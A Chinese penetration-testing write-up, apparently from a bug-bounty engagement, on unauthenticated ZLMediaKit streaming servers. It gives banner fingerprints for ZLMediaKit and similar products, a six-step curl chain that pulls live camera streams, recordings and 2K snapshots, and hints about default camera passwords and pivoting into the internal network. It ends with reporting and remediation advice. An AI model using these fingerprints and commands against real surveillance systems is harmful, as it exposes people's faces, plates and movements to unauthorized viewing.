渗透实战篇-某园区监控服务器果奔:摄像头直播的完整利用链
一个平平无奇的"文件列表"页面,背后是 74 个摄像头的实时画面、高清截图和历史录像,外加整个监控内网的拓扑。这不是电影情节,是一次真实 SRC 测试的完整记录。
监控服务器果奔:摄像头直播的完整利用链
一个平平无奇的"文件列表"页面,背后是 74 个摄像头的实时画面、高清截图和历史录像,外加整个监控内网的拓扑。
这不是电影情节,是一次真实 SRC 测试的完整记录。这套东西在 ZLMediaKit 系流媒体服务器上大量存在,一通百通。
(上一篇 AI-Agent 渗透测试里提到的"流媒体/监控未授权"Skill,就是这篇的实战兑现。)
一、开头:一个"File Index"页面,后面是 74 个摄像头
怎么发现它的?其实就是 01 那篇子域名枚举的流程:资产测绘出一批子域名和端口后,按"非标端口优先"的原则逐个探(8080/10003/10004/1443 这类端口,经常藏着业务系统或者运维后台)。
探到某站点 10004 端口时,响应头直接给了个 banner:ZLMediaKit(git hash:xxx, branch:master, build time:...)——一眼就是流媒体服务器。再访问根路径,挂着一个平平无奇的页面——顶部写着 "File Index",列了一堆目录:live/、snap/、proxy/、webrtc/、swagger/、readme/。
当时第一反应:这什么系统?怎么把目录列表直接挂公网了?
后来才知道,这个页面背后是 74 个摄像头的实时直播流、高清抓拍截图、按日期归档的历史录像,以及从目录名里直接暴露的监控内网拓扑。整个园区,只要是进了这个网络的人都能看。
二、怎么认出它:ZLMediaKit 指纹
这种服务器是 ZLMediaKit —— 国内园区、工厂、仓库、智慧城市用得非常多的一款开源流媒体服务器。识别特征很明确:
特征 | 长什么样 |
响应头/banner | ZLMediaKit(git hash:xxx, branch:master, build time:...),任意响应头带 ZLMediaKit 字样 |
页面标题 | "File Index" / "欢迎使用ZLMediaKit"(带 GitHub wiki 链接) |
常见端口 | 8080 / 10003 / 10004,且同名子域常多端口并存 |
一句话:看到 File Index 目录 + 非标端口 = 八成是它。
同类产品还有一堆,后面第五节能通杀:
产品 | banner/特征 | 默认端口 | 未授权面 |
ZLMediaKit | ZLMediaKit(git hash:...) | 8080/10003/10004 | File Index、live/snap/proxy |
SRS | "Welcome to SRS!" 页面 | 1985/8080/1935 | 控制台/API、players 页面 |
nginx-rtmp | nginx 默认页 + rtmp 端口 | 80/1935 | stat.xsl 统计页 |
EasyDarwin | 管理页面 | 10008/8088 | 默认口令 admin |
三、利用链 6 步:从目录到直播画面
所有操作零鉴权,命令可以直接复现:
# 1. 根路径列目录 —— 先看静态索引,别急着撞 API
curl -sk http://IP:10004/
# File Index: live/ snap/ proxy/ webrtc/ swagger/ readme/
# 2. /live/ 摄像头列表 —— 命名直接泄露监控内网拓扑
curl -sk http://IP:10004/live/
# HK_10_0_0_248_1/ HK_10_0_0_83_1/ ... 共 74 个目录
# 每个目录: hls.m3u8(实时) + 2026-08-10/(按日期录像)
# 3. hls.m3u8 实时拉流 —— 连续拉两次看 MEDIA-SEQUENCE
curl -sk http://IP:10004/live/HK_10_0_0_248_1/hls.m3u8 | grep MEDIA-SEQUENCE
# 第一次: #EXT-X-MEDIA-SEQUENCE:18262
# 第二次: #EXT-X-MEDIA-SEQUENCE:18263 ← 递增 = 直播中
# 4. ts 分片拉取验证 —— 实锤视频流
curl -sk -o 1.ts http://IP:10004/live/HK_10_0_0_248_1/2026-08-10/15/51-25_18372.ts
file 1.ts
# 1.ts: MPEG transport stream / video/mp2t ← 真实视频
# 5. /snap/ 监控截图 —— 高清抓拍
curl -sk -o snap.jpg http://IP:10004/snap/05d99dee316d66a6621d6d6cc2aba564/1785826197.jpeg
file snap.jpg
# snap.jpg: JPEG image data ... 2560x1440 ← 2K 高清
# 6. /proxy/ 代理目录、录像目录同套路
curl -sk http://IP:10004/proxy/6 步走完,整个监控体系就"借"过来了:实时画面(hls.m3u8 + ts)、高清截图(snap)、历史录像(按日期归档)、内网拓扑(HK_内网IP_通道 命名)。
四、关键取证点:怎么证明"实时直播"不是静态文件
这一步是报告能不能坐实"高危"的分水岭。光说"能访问目录"审核会打回,必须证明画面是活的:
证据 | 怎么取 | 证明什么 |
MEDIA-SEQUENCE 递增 | 连续拉两次 hls.m3u8,对比序列号 | 实时直播中(静态文件序列号不会变) |
ts 分片非 0 字节 | 拉一个分片,file 确认 MPEG transport stream | 真实视频流,不是 404 壳 |
JPEG 分辨率 | file 确认 2560x1440 | 真实高清抓拍 |
摄像头数量 | /live/ 目录计数(74 个) | 影响范围可量化 |
注意:取证只说"验证可拉取",不要真的去下载全量录像——证明到"能拉取、是活的、有 N 路"即可,下载全量反而越界。
五、常见坑(真实踩过)
1. 多端口并存:10001/10003 可能是官方 demo 页(cn/demo.html 跳转),10004 才是真实文件索引。每个端口都要试。
2. API 要登录 ≠ 没洞:/index/api/version 返回 "Please login first" 说明配了 secret,但静态文件索引(live/snap)往往才是真洞——别在 API 上死磕。
3. 演示页无价值:readme/、webrtc/、swagger/ 是官方静态资源,不是目标数据。
4. 同类产品通杀:SRS / nginx-rtmp / EasyDarwin 套路一样——找 hls.m3u8、record/、snap/ 目录。
5. 能打开管理面板 ≠ 能操作业务接口:webrtc demo 页、调试面板看着像后台,实际只是前端静态演示,别把时间耗在它们上面。
六、影响面:74 个摄像头意味着什么
这不是"看了个监控"的猎奇问题,是实打实的物理安防失效:
- 实时监控画面泄露:园区/厂区/仓库的实时影像对攻击者完全透明,可被用于踩点、摸清人员活动规律
- 历史录像可回溯:按日期归档的录像意味着过去数月的影像都能被翻出来
- 高清抓拍截图:2560x1440 的抓拍能看清人脸、车牌、货物细节
- 内网拓扑暴露:HK_内网IP_通道 的命名直接把摄像头网段拓扑画出来了,为后续打内网铺路
- 摄像头本身大概率弱口令:HK_ 命名(海康系)的设备,很多配了默认口令,一旦拿下就是内网跳板
七、定级与报告
定级:高危。理由:未授权访问 + 实时画面 + 高清截图 + 历史录像 + 内网 IP 拓扑,齐活。
报告标题格式:
XX监控系统未授权访问,74 个摄像头直播流/截图/录像可任意查看
报告要点:
- 漏洞类型:未授权访问 / 敏感信息泄露
- URL 写 http://IP:10004/
- 请求包:GET /live/ 和 GET hls.m3u8 的原始响应
- 证据:live 目录列表(摄像头数)、MEDIA-SEQUENCE 对比、ts/JPEG 的 file 输出
- 截图含地址栏
八、修复建议
1. 开启 ZLMediaKit 接口鉴权:配置 api.secret,静态文件索引目录(live/snap/proxy)加访问控制,禁止匿名访问
2. 关闭 httpFileServer 目录浏览:File Index 就是它开出来的,收敛掉目录列表能力
3. 摄像头/流媒体 VLAN 隔离:监控网与业务网物理隔离,公网入口只保留带鉴权的拉流网关,禁止流媒体端口直接暴露公网
4. 摄像头弱口令整改:HK_ 命名暴露的内网设备大概率配了默认口令,全量改强口令并关闭不必要的远程访问
5. 上线前资产测绘自查:按本文的指纹(ZLMediaKit/SRS/nginx-rtmp/EasyDarwin banner + File Index)扫一遍自身资产,未授权面在暴露前发现
九、一句话总结
一个 File Index 目录,背后是 74 路直播、一个内网拓扑、一段历史影像——流媒体服务器把"未授权访问"直接坐实成"安防体系失效"。挖洞时多看一眼非标端口,防护时记得把监控网和公网隔开。